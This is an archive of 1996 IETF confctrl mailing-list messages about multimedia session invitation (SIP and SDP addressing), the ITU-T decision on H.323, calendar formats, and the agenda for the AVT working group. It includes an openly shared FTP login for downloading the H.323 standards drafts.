          id <g.25873-0@bells.cs.ucl.ac.uk>; Tue, 4 Jun 1996 17:33:26 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: huitema@bellcore.com (Christian Huitema)
Cc: confctrl@ISI.EDU
Subject: Re: Multimedia invitation
In-Reply-To: Your message of "Tue, 04 Jun 96 10:03:50 EDT." <9606041003.ZM8290@seawind.bellcore.com>
Date: Tue, 04 Jun 96 17:33:22 +0100
Message-Id: <7531.833906002@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>The Session Invitation Protocol as described in
>draft-ietf-mmusic-sip-00.ps
>uses a <user>@<host> address to identify a user, and an SDP formatted
>session description.
>
>Session descriptions can encompass several medias. A typical invitation
>may suggest simultaneous use of audio, video and data conferencing. But
>I may well want to receive the video on my set-top-box enhanced TV, the
>audio in my Internet-connected stereo and the data on my PC. I may easily
>program my invitation agent to know that, but how is it supposed to
>respond
>to a SIP invitation ?  Multiple redirections? Don't tell me "local
>forwarding". The TV and the PC may well not even be on the same cable...

OK, this is my first pass assumption on what happens...

There are really two cases to consider: multicast and unicast.

Multicast: The distribution is entirely determined by the session
initiator - either you can receive the advertised session streams on
your assorted boxes or you can't.  If you can't you can attempt to
negotiate, but the inviter doesn't have to pay any attention to you.
If it does, then this becomes synonymous with (potentially multiple
instances of) the unicast case.

Unicast: You return a single negotiate reply giving the *destination*
(i.e. your) address (and format, etc) for each media you want to use.
(The original message will have given the source addresses).  In an
earlier private message you suggested a reply format that allows this
to happen in a SUCCESS reply.  Thinking about it some more, this
appears to be necessary with unicast, as you can't match up the source
and destination addresses in (unreliable) SIP if you return a
NEGOTIATE reply, as the sender can't (in this case) reflect your reply
in a subsequent request.

The SDP format doesn't assume all the media are on the same
end-system, or even the same network type (eg. a combined phone, raw
ATM, IP multicast and FM radio session would be perfectly legal if we
had defined all the relevant network types) though it does get ugly
with unicast session descriptions when the end system is not the same
one that received the invitation.  We discussed an alternative SDP
format at the last IETF, but in the end defered it due to insufficient
experience with the limitations of the current format and need to get
code deployed.  There'll probably be an SDP version 3 in the long run,
but we felt that more deficiencies will only show up with use and
alternative implementations.

Mark

From majordom@ISI.EDU  Tue Jun  4 08:42:44 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23705>; Tue, 4 Jun 1996 09:43:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23699>; Tue, 4 Jun 1996 09:43:06 -0700
Received: from seawind.bellcore.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA15958>; Tue, 4 Jun 1996 09:43:05 -0700
Received: (from huitema@localhost) by seawind.bellcore.com (8.6.9/8.6.10) id MAA08340; Tue, 4 Jun 1996 12:42:44 -0400
Date: Tue, 4 Jun 1996 12:42:44 -0400
From: huitema@bellcore.com (Christian Huitema)
Message-Id: <9606041242.ZM8338@seawind.bellcore.com>
In-Reply-To: Carsten Bormann <cabo@Informatik.Uni-Bremen.DE>
        "Re: Multimedia invitation" (Jun  4,  6:20pm)
References: <199605292014.WAA11826@www45.inria.fr> 
	<Philipp.Hoschka@sophia.inria.fr> 
	<9606041003.ZM8290@seawind.bellcore.com> 
	<199606041620.SAA17007@ruin.informatik.uni-bremen.de>
X-Mailer: Z-Mail (3.2.0 06sep94)
To: Carsten Bormann <cabo@Informatik.Uni-Bremen.DE>
Subject: Re: Multimedia invitation
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> Now, I don't know if we really understand how to apply SDP session
> descriptions in a unicast situation (what happened to the changes we
> envisioned for that in Los Angeles?).  Certainly, we need a way to
> express different addresses for each media stream to each participant
> here.

Communication between several boxes is not a real problem - they are
indeed connect to the Internet. Having the signalisation terminate on my
PC, and having the necessary magic there to pass info to my various boxes
is fine.
However, I would not like to have to relay the audio packets from my PC to
my stereo, or the video packets to the TV.

For multicast sessions, SDP works just fine. The SDP announcement may
carry connection descriptions (mcast address) for each media in the "c="
lines that may follow each media description (m=). I will just have to
pass the video mcast address and the port number to my TV set-top box, and
tell
it to just listen to that. The set-top will join the mcast group, the
video packets will come nowhere near the PC or the stereo.

I can send similar informations in an SDP message embedded in the initial
sollicitation for a unicast session. If I am calling, I can trust my PC to
pass the unicast address of the TV set-top in the "c=" line that follows
the description of the video media. The only problem is that the responder
cannot do the same -- there is room for only one address in the CH line.
I would suggest that we allow responder to also specify addresses for each
media, maybe by a set of "ME=" line that provide media-specific
information, like selected address, selected media encoding and selected
port.

One more request. I would like to have the option of specifying
domain-names at all the places where the session description and session
invitation protocols use numerical address representations. The possible
locations of users, the device they will use, the access rules are all
likely to be written down in configuration file. We should avoid writing
down addresses in configuration files -- at the very least, we should not
be forced to do it.

-- 
Christian Huitema

From majordom@ISI.EDU  Wed Jun  5 11:01:54 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22109>; Wed, 5 Jun 1996 00:02:27 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22103>; Wed, 5 Jun 1996 00:02:26 -0700
Received: from ifhamy.insa-lyon.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA23709>; Wed, 5 Jun 1996 00:02:25 -0700
Received: (from ldepieri@localhost) 
        by ifhamy.insa-lyon.fr (8.6.9/8.6.5/AEDI-AG) 
        id JAA04330 for confctrl@ISI.EDU; Wed, 5 Jun 1996 09:01:55 +0200
From: Luis de Pieri <ldepieri@ifhamy.insa-lyon.fr>
Message-Id: <199606050701.JAA04330@ifhamy.insa-lyon.fr>
Subject: SG-15 last meeting
To: confctrl@ISI.EDU
Date: Wed, 5 Jun 1996 09:01:54 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
Content-Length: 169       
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hello,

	Does anybody knows if we're going to get on this list, or on the
Internet, the happenings/results of the SG-15 last meeting at Geneva/May/96 ?

	Thanks,

	Luis

From majordom@ISI.EDU  Wed Jun  5 02:36:41 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03860>; Wed, 5 Jun 1996 09:36:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03854>; Wed, 5 Jun 1996 09:36:44 -0700
Received: from hplms26.hpl.hp.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA13488>; Wed, 5 Jun 1996 09:36:43 -0700
Received: from jade.hpl.hp.com by hplms26.hpl.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3+HPL1.1S) id AA201242603; Wed, 5 Jun 1996 09:36:43 -0700
Received: by jade.hpl.hp.com
	(1.37.109.18/15.5+ECS 3.3+HPL1.1) id AA076662601; Wed, 5 Jun 1996 09:36:41 -0700
From: "Eve Schooler" <schooler@jade.hpl.hp.com>
Message-Id: <9606050936.ZM7664@jade.hpl.hp.com>
Date: Wed, 5 Jun 1996 09:36:41 -0700
In-Reply-To: Luis de Pieri <ldepieri@ifhamy.insa-lyon.fr>
        "SG-15 last meeting" (Jun  5,  9:01am)
References: <199606050701.JAA04330@ifhamy.insa-lyon.fr>
X-Mailer: Z-Mail (3.2.1 10oct95)
To: Luis de Pieri <ldepieri@ifhamy.insa-lyon.fr>
Subject: Re: SG-15 last meeting
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> 	Does anybody knows if we're going to get on this list, or on the
> Internet, the happenings/results of the SG-15 last meeting at Geneva/May/96 ?

Well, did anyone attend who might like to share their impressions?
Or does anyone have a pointer to where such meeting notes reside on-line?

E.

From majordom@ISI.EDU  Mon Jun  6 19:49:31 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14129>; Thu, 6 Jun 1996 20:56:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14123>; Thu, 6 Jun 1996 20:56:47 -0700
Received: from gateway-gw.pictel.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA13939>; Thu, 6 Jun 1996 20:56:45 -0700
Received: from roadrunner.pictel.com by gateway-gw.pictel.com (4.1/cf.gw.940128.1740)
	id AA28723; Thu, 6 Jun 96 23:56:38 EDT
Received: from smtpnotes.pictel.com by roadrunner.pictel.com (4.1/runner.910925.1)
	id AA11163; Thu, 6 Jun 96 23:56:36 EDT
Received: by smtpnotes.pictel.com (4.1/SMI-4.1)
	id AA09719; Thu, 6 Jun 96 23:56:35 EDT
Message-Id: <9606070356.AA09719@smtpnotes.pictel.com>
Received: from PicTel with "Lotus Notes Mail Gateway for SMTP" id
  F8BF31DF7851AD8B852563420012A149; Fri,  7 Jun 96 03:56:34 
To: Luis de Pieri <ldepieri@ifhamy.insa-lyon.fr>
Cc: confctrl <confctrl@ISI.EDU>, rem-conf <rem-conf@es.net>,
        IMTC <IMTC@world.std.com>
From: Rich Baker/PicTel <Rich_Baker@smtpnotes.pictel.com>
Date:  6 Jun 96 23:49:31 EDT
Subject: (CNC) Re: SG-15 last meeting
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I am pleased to announce that H.323 was "Decided" at the SG15 meeting in Geneva 
last Tuesday.  In ITU-T parlance, that makes H.323 as good as a "Standard", 
since the final step (an official vote, nation-by-nation, with 70% approval) 
virtually always is achieved.

So... 

o  Given the number of major manufacturers already in the process of developing 
interworking H.323 implementations;

o  Given H.323's adoption of RTP/RTCP;

o  Given H.323's compatibility with RSVP;

o  Given H.323's comprehensive support of edge gateways to H.320/H.324 
(ISDN/POTS) standards based terminals, which permit WAN-based and 
Internet-based terminals to easily conference and interwork...

... I have confidence that H.323 is poised to become the intranet and internet 
standard for videoconferencing.

Another step towards this goal was made last month.  The IMTC CNC activity 
group I chair formed an "H.323 Implementators" subgroup, chaired by Jim Toga, 
to facilitate vendors building H.323 products.  Those interested in joining 
should contact myself (bake@pictel.com) or Jim (jtoga @ ibeam.jf.intel.com).

Later this month work begins on the next phase of H.323 standards development.

Many, many thanks to the tireless efforts of the folks who made it all happen, 
particulary our intrepid (and sleep deprived...) editors:

o  Gary Thom (Delta Information Systems), H.323 Editor
o  Dale Skran (Lucent), H.224 Editor
o  Mark Reid (PictureTel), H.245 extensions Editor

... and to Sakae OKUBO (Graphics Communication Laboratories, 
okubo@gctech.co.jp), who is the Rapporteur for this work inside SG15.

Cheers,
-rich baker
 IMTC Corporate Network Conferencing AG Chair
 PictureTel Corporation
 bake@pictel.com

=====

To: confctrl @ ISI.EDU @ smtp
From: ldepieri @ ifhamy.insa-lyon.fr (Luis de Pieri) @ smtp
Date: 06/05/96 09:01:54 AM
Subject: SG-15 last meeting

Hello,

 Does anybody knows if we're going to get on this list, or on the
Internet, the happenings/results of the SG-15 last meeting at Geneva/May/96 ?

 Thanks,

 Luis

From majordom@ISI.EDU  Fri Jun  7 16:48:35 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24800>; Fri, 7 Jun 1996 19:49:11 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24794>; Fri, 7 Jun 1996 19:49:10 -0700
Received: from omzrelay.mci.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA05925>; Fri, 7 Jun 1996 19:49:09 -0700
Received: by omzrelay.mci.com; (8.6.12/1.1.8.2/07Nov95-0827AM)
	id VAA23982; Fri, 7 Jun 1996 21:49:08 -0500
Received: from pop1a.mail.mci.com by omzrelay.mci.com; (8.6.12/1.1.8.2/14Nov95-0411PM)
	id VAA18560; Fri, 7 Jun 1996 21:49:07 -0500
Received: from infolink-204.189.237.144.Chicago.mci.net by pop1a.mail.mci.com; (5.65v3.2/1.1.8.2/24Apr96-0705PM)
	id AA14954; Fri, 7 Jun 1996 21:48:59 -0500
Received: by infolink-204.189.237.75.Chicago.mci.net with Microsoft Mail
	id <01BB54BB.1512ED00@infolink-204.189.237.75.Chicago.mci.net>; Fri, 7 Jun 1996 21:48:37 -0500
Message-Id: <01BB54BB.1512ED00@infolink-204.189.237.75.Chicago.mci.net>
From: Henry Sinnreich <henry.sinnreich@mci.com>
To: Luis de Pieri <ldepieri@ifhamy.insa-lyon.fr>,
        "'Rich Baker/PicTel'"
	 <Rich_Baker@smtpnotes.pictel.com>
Cc: confctrl <confctrl@ISI.EDU>, rem-conf <rem-conf@es.net>,
        IMTC
	 <IMTC@world.std.com>
Subject: RE: (CNC) Re: SG-15 last meeting
Date: Fri, 7 Jun 1996 21:48:35 -0500
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rich,

Is the any online info anywhere ?

Would appreciate it.

Thanks, Henry

----------
From: 	Rich Baker/PicTel[SMTP:Rich_Baker@smtpnotes.pictel.com]
Sent: 	Thursday, June 06, 1996 10:49 PM
To: 	Luis de Pieri
Cc: 	confctrl; rem-conf; IMTC
Subject: 	(CNC) Re: SG-15 last meeting

I am pleased to announce that H.323 was "Decided" at the SG15 meeting in Geneva 
last Tuesday.  In ITU-T parlance, that makes H.323 as good as a "Standard", 
since the final step (an official vote, nation-by-nation, with 70% approval) 
virtually always is achieved.

So... 

o  Given the number of major manufacturers already in the process of developing 
interworking H.323 implementations;

o  Given H.323's adoption of RTP/RTCP;

o  Given H.323's compatibility with RSVP;

o  Given H.323's comprehensive support of edge gateways to H.320/H.324 
(ISDN/POTS) standards based terminals, which permit WAN-based and 
Internet-based terminals to easily conference and interwork...

... I have confidence that H.323 is poised to become the intranet and internet 
standard for videoconferencing.

Another step towards this goal was made last month.  The IMTC CNC activity 
group I chair formed an "H.323 Implementators" subgroup, chaired by Jim Toga, 
to facilitate vendors building H.323 products.  Those interested in joining 
should contact myself (bake@pictel.com) or Jim (jtoga @ ibeam.jf.intel.com).

Later this month work begins on the next phase of H.323 standards development.

Many, many thanks to the tireless efforts of the folks who made it all happen, 
particulary our intrepid (and sleep deprived...) editors:

o  Gary Thom (Delta Information Systems), H.323 Editor
o  Dale Skran (Lucent), H.224 Editor
o  Mark Reid (PictureTel), H.245 extensions Editor

... and to Sakae OKUBO (Graphics Communication Laboratories, 
okubo@gctech.co.jp), who is the Rapporteur for this work inside SG15.

Cheers,
-rich baker
 IMTC Corporate Network Conferencing AG Chair
 PictureTel Corporation
 bake@pictel.com

=====

To: confctrl @ ISI.EDU @ smtp
From: ldepieri @ ifhamy.insa-lyon.fr (Luis de Pieri) @ smtp
Date: 06/05/96 09:01:54 AM
Subject: SG-15 last meeting

Hello,

 Does anybody knows if we're going to get on this list, or on the
Internet, the happenings/results of the SG-15 last meeting at Geneva/May/96 ?

 Thanks,

 Luis




From majordom@ISI.EDU  Sat Jun  8 19:42:35 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05445>; Sat, 8 Jun 1996 08:44:24 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05439>; Sat, 8 Jun 1996 08:44:22 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA22793>; Sat, 8 Jun 1996 08:44:14 -0700
Message-Id: <199606081544.AA22793@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Sat, 8 Jun 1996 17:42:40 +0200
X-Mailer: exmh version 1.6.7 5/3/96
To: confctrl@ISI.EDU
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: Calendar formats and scheduling
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sat, 08 Jun 1996 17:42:35 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

A while ago, somebody inquired whether there are existing efforts on 
scheduling and calendars. By accident, I came across the Versit 
Consortium Specification called "vCalendar: The Electronic Calendar and 
Scheduling Exchange Format". This appears to be work-in-progress, but 
they do have a fairly intensive set of capabilities for specifying 
event times. Since it would indeed be nice if I could get my calendar 
to automatically schedule Mbone meetings (and use the group scheduling 
features and such that these tools have), it might be worth considering 
or trying to influence their spec, if it's close enough.

A copy of the spec (that I converted from WinWord to PostScript) is at 
http://www.fokus.gmd.de/step/misc/vcal03.ps

Versit has a web page at www.versit.com

Henning


From majordom@ISI.EDU  Sat Jun  8 14:22:58 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10466>; Sat, 8 Jun 1996 14:22:58 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10460>; Sat, 8 Jun 1996 14:22:56 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA01411>; Sat, 8 Jun 1996 14:22:54 -0700
Received: by www45.inria.fr (8.6.13/8.6.12) id XAA02975; Sat, 8 Jun 1996 23:22:53 +0200
Message-Id: <199606082122.XAA02975@www45.inria.fr>
To: confctrl@ISI.EDU
Subject: Idea for sdp: interesting extra data point
Date: Sat, 08 Jun 1996 23:22:52 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


From 
http://home.netscape.com/comprod/products/navigator/version_3.0/developer/newplug.html

"
PLUGINSPAGE=[URL] - PLUGINSPAGE is an optional parameter. The PLUGINSPAGE 
parameter allows you to specify a URL
from which the user can fetch the necessary plug-in if it is not installed. 
This parameter is handled by Netscape. If Netscape cannot find the plug-in 
when loading a page, it will warn the user and allow them to bring up the 
specified URL, from which they can download the QuickTime plug-in. 
IMPORTANT: Please set this parameter to:
"http://quicktime.apple.com" which will point to the most appropriate 
plug-in for various versions of Navigator and different
operating systems. This option is appropriate for both QuickTime movies 
and QuickTime VR Objects and Panoramas. 
"

From majordom@ISI.EDU  Mon Jun 10 10:59:35 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24064>; Mon, 10 Jun 1996 00:01:30 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24058>; Mon, 10 Jun 1996 00:01:29 -0700
Received: from ceres.fokus.gmd.de ([192.35.149.15]) by venera.isi.edu (5.65c/5.61+local-23)
	id <AA00825>; Mon, 10 Jun 1996 00:01:27 -0700
Message-Id: <199606100701.AA00825@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Mon, 10 Jun 1996 08:59:38 +0200
X-Mailer: exmh version 1.6.7 5/3/96
To: Henry Sinnreich <henry.sinnreich@mci.com>
Cc: confctrl@ISI.EDU
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: Re: Calendar formats and scheduling
In-Reply-To: Your message of "Sun, 09 Jun 1996 09:30:31 CDT." <01BB55E6.4E6806E0@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 10 Jun 1996 08:59:35 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henry Sinnreich wrote:

> Henning,
> 
> >A copy of the spec (that I converted from WinWord to PostScript) is at 
> >http://www.fokus.gmd.de/step/misc/vcal03.ps
> 
> How can I obtain the WinWord version ?
> For us Windows users :-), WinWord is instantly accessible.
> 

Sorry, forgot to give the original source:

 ftp://ftp.ralden.com/versit/vCalendar-Spec/vcal03.doc

Henning


From majordom@ISI.EDU  Fri Jun 10 19:48:39 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29705>; Mon, 10 Jun 1996 21:23:27 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29699>; Mon, 10 Jun 1996 21:23:25 -0700
Received: from gateway-gw.pictel.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA25045>; Mon, 10 Jun 1996 21:23:25 -0700
Received: from roadrunner.pictel.com by gateway-gw.pictel.com (4.1/cf.gw.940128.1740)
	id AA15677; Tue, 11 Jun 96 00:23:22 EDT
Received: from smtpnotes.pictel.com by roadrunner.pictel.com (4.1/runner.910925.1)
	id AA06952; Tue, 11 Jun 96 00:23:21 EDT
Received: by smtpnotes.pictel.com (4.1/SMI-4.1)
	id AA27196; Tue, 11 Jun 96 00:23:20 EDT
Message-Id: <9606110423.AA27196@smtpnotes.pictel.com>
Received: from PicTel with "Lotus Notes Mail Gateway for SMTP" id
  BFBA407FC1E034DC85256346001431EC; Tue, 11 Jun 96 04:23:19 
To: Henry Sinnreich <henry.sinnreich@mci.com>
Cc: Luis de Pieri <ldepieri@ifhamy.insa-lyon.fr>, confctrl <confctrl@ISI.EDU>,
        rem-conf <rem-conf@es.net>, IMTC <IMTC@world.std.com>,
        Sakae
 Okubo <okubo@gctech.co.jp>
From: Rich Baker/PicTel <Rich_Baker@smtpnotes.pictel.com>
Date: 10 Jun 96 23:48:39 EDT
Subject: RE: (CNC) Re: SG-15 last meeting
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi Henry:

The H.323 working documents are maintained at an FTP site by Mr. Okubo, the 
Rapporteur for H.323.  While password protected, Mr. Okubo encourages anyone 
interested in the H.323 work to access the site:

 Site:       ftp.gctech.co.jp
 Login name: itu-t
 Password:   sg15!avc

You can see most recently posted 10 files by typing

             "ls -ltr | tail".

Please note that Mr. Okubo assures me he will post the most recent drafts of 
the H.323, H.225.0 and H.245 recommendations within the next few days.

Cheers,
-rich baker
 IMTC Corporate Network Conferencing AG chair
 bake@pictel.com

=====

To: Rich Baker, ldepieri @ ifhamy.insa-lyon.fr (Luis de Pieri) @ smtp
cc: confctrl @ ISI.EDU @ smtp, rem-conf @ es.net @ smtp, IMTC @ world.std.com @ 
smtp 
From: henry.sinnreich @ mci.com (Henry Sinnreich) @ smtp
Date: 06/07/96 09:48:35 PM
Subject: RE: (CNC) Re: SG-15 last meeting

Rich,

Is the any online info anywhere ?

Would appreciate it.

Thanks, Henry

From majordom@ISI.EDU  Sat Jun 11 04:13:00 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04166>; Tue, 11 Jun 1996 05:14:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04160>; Tue, 11 Jun 1996 05:14:49 -0700
Received: from gateway-gw.pictel.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA07091>; Tue, 11 Jun 1996 05:14:48 -0700
Received: from roadrunner.pictel.com by gateway-gw.pictel.com (4.1/cf.gw.940128.1740)
	id AA26676; Tue, 11 Jun 96 08:14:39 EDT
Received: from smtpnotes.pictel.com by roadrunner.pictel.com (4.1/runner.910925.1)
	id AA10190; Tue, 11 Jun 96 08:14:37 EDT
Received: by smtpnotes.pictel.com (4.1/SMI-4.1)
	id AA00495; Tue, 11 Jun 96 08:14:36 EDT
Message-Id: <9606111214.AA00495@smtpnotes.pictel.com>
Received: from PicTel with "Lotus Notes Mail Gateway for SMTP" id
  FA0BD0D38C58FB8B85256346004200C3; Tue, 11 Jun 96 12:14:35 
To: rem-conf <rem-conf@es.net>, confctrl <confctrl@ISI.EDU>,
        IMTC <IMTC@world.std.com>
Cc: okubo <okubo@gctech.co.jp>
From: Rich Baker/PicTel <Rich_Baker@smtpnotes.pictel.com>
Date: 11 Jun 96  8:13:00 EDT
Subject: CNC: Latest H.323 documents now posted
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi Folks:

Final versions of H.323 and H.245 have been posted to the H.323 working 
document ftp site.  These docs have filenames H323NCM3.DOC (96/06/11  H.323 
decided on 28 May 1996 with no change marks) and H245NCM5.DOC (96/06/11  
Definitive H.245 Version 1 to be published).

 Site:       ftp.gctech.co.jp
 Login name: itu-t
 Password:   sg15!avc

Note that compressed versions (*.gz) are there to minimize downloading times 
from the server in Japan.

Cheers,
-rich

To: sg15.avc @ research.kpn.com @ smtp, h32z2-list @ mtgzfs3.mt.att.com @ smtp
cc:  (bcc: Rich Baker/PicTel)
From: okubo @ gctech.co.jp @ cbig1.att.att.com @ smtp
Date: 06/11/96 07:55:40 PM
Subject: Output documents of the last week SG15 meeting


Dear AVC colleagues,

I have uploaded the attached files which were output at the SG15
meeting held during 27 May - 7 June.  More will be available soon.

Here are some tips to retrieve the document you need.

   - You can see the most recently posted 10 files by typing 
     "ls -ltr |tail".
   - You can use the gzip (different from zip) compression on the fly
     by typing "get filename.gz" for faster transfer.  For example, if
     you need the file named H245NCM5.DOC (1631744 Bytes), type 
     "get H245NCM5.DOC.gz".  Then you will receive H245NCM5.DOC.gz
     (282252 Bytes).

Best regards,

Sakae OKUBO (Mr.)
********************************************************************
Graphics Communication Laboratories       Phone:  +81 3 5351 0181
6F ANNEX TOSHIN BLDG.                     Fax:    +81 3 5351 0185
4-36-19 Yoyogi, Shibuya-ku, Tokyo         e-mail: okubo@gctech.co.jp
151 Japan
********************************************************************

login directory
-----------------------------------------------------------------
File name     Date      Content
=================================================================
H323NCM3.DOC 96/06/11  H.323 decided on 28 May 1996 with no change 
                       marks
-----------------------------------------------------------------
DELTA2.DOC   96/06/11  Defect Report for Recommendation H.245
                       - Delta Document 2
-----------------------------------------------------------------
H245NCM5.DOC 96/06/11  Definitive H.245 Version 1 to be published, 
                       = h245ncm4.doc + DELTA2.DOC
-----------------------------------------------------------------
H245NCM6.DOC 96/06/11  Recommendation H.245 Version 2, determined
                       on 7 June 1996 = H245NCM5.DOC + D_H245V2.DOC
-----------------------------------------------------------------
D_H245V2.DOC 96/06/11  Proposed Modifications to H.245 Version 1 
                       to obtain Version 2, determined on 7 June 
                       1996 by SG15
-----------------------------------------------------------------
NEW_QUES.DOC 96/06/11  Six Questions for 1997-2000 proposed by 
                       WP1/15
-----------------------------------------------------------------
FRAMEJUN.DOC 96/06/11  Framework for standards for audiovisual/
                       multimedia services
                       - by Dr. Norman D. Kenyon
-----------------------------------------------------------------
GUIDEJUN.DOC 96/06/11  A Guide to International Telecomms-related 
                       Multimedia Standards, a companion to the 
                       "framework" - by Dr. Norman D. Kenyon
-----------------------------------------------------------------
WP1_REP.DOC  96/06/11  Meeting report of WP1/15 issued by
                       Mr. Makoto Yamashita
-----------------------------------------------------------------
H323WHT8.DOC 96/06/11  H.323 decided on 28 May 1996, with change 
                       marks to COM 15-245
-----------------------------------------------------------------
H323WTD8.DOC 96/06/11  Changes to COM 15-245 agreed by SG15 on 
                       28 May 1996
-----------------------------------------------------------------
H310_dec.ww2 96/06/10  H.310 - converted from H310_dec.mw5
-----------------------------------------------------------------
H310_dec.mw5 96/06/10  H.310 agreed by SG15 on 7 June 1996, to be 
                       decided after receiving the advice of France 
                       which requested the six week reservation
-----------------------------------------------------------------

/N_ISDN
-----------------------------------------------------------------
File name     Date      Content
=================================================================
FRAMEJUN.DOC  96/06/11  Framework for standards for audiovisual/
                        multimedia services 
                        - by Dr. Norman D. Kenyon
-----------------------------------------------------------------
H230JUN.DOC   96/06/11  revision of H.230 determined on 7 June 1996
---------------------------------------------------------------
H221JUN.DOC   96/06/11  revision of H.221 determined on 7 June 1996
----------------------------------------------------------------
GUIDEJUN.DOC  96/06/11  A Guide to International Telecomms-related
                        Multimedia Standards, a companion to the 
                        "framework" - by Dr. Norman D. Kenyon
----------------------------------------------------------------
H242JUN.DOC   96/06/11  revision of H.242 determined on 7 June 1996
----------------------------------------------------------------

From majordom@ISI.EDU  Wed Jun 12 17:32:37 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27970>; Thu, 13 Jun 1996 00:32:42 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27963>; Thu, 13 Jun 1996 00:32:40 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-23)
	id <AA03821>; Thu, 13 Jun 1996 00:32:39 -0700
Received: from little-bear.precept.com by precept.com (5.x/SMI-4.1)
	id AA29680; Thu, 13 Jun 1996 00:32:38 -0700
Date: Thu, 13 Jun 1996 00:32:37 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: Allison Mankin <mankin@ISI.EDU>
Cc: rem-conf@es.net, confctrl@ISI.EDU
Subject: Re: Second slot scheduled for AVT
In-Reply-To: <199605312038.AA00579@metro.isi.edu>
Message-Id: <Pine.SOL.3.93.960613001616.15102F-100000@little-bear.precept.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

AVT Working Group:

I'm assembling the agenda for our sessions on June 25 at the upcoming
IETF in Montreal.  As Allison's message informed us, we have two
sessions back-to-back, 13:00 and 15:30.

The biggest topic for this meeting will be RTP header compression.
I expect the bulk of the first session to be occupied by presentations
and discussion on this topic.

In the second session, there are several additional topics scheduled:

  - RTP/SRM: extensions to RTP for variable reliability
  - Payload formats for redundant encodings
  - SISP: signalling protocol, nudged here from MMUSIC because their
    session filled up and because it's RTCP-based
  - What's needed to progress RTP to Draft Standard
  - GSMVQ low-rate audio encoding

Possible additional topics:

  - Payload formats for H.263 and G.723
  - RTP profile for professional audio and video
  - Payload format for Microsoft ASF

It doesn't look like we'll have any trouble filling the two slots.  If
anyone has other topics they would like to present, please contact me.

							-- Steve


From majordom@ISI.EDU  Thu Jun 13 11:43:31 1996
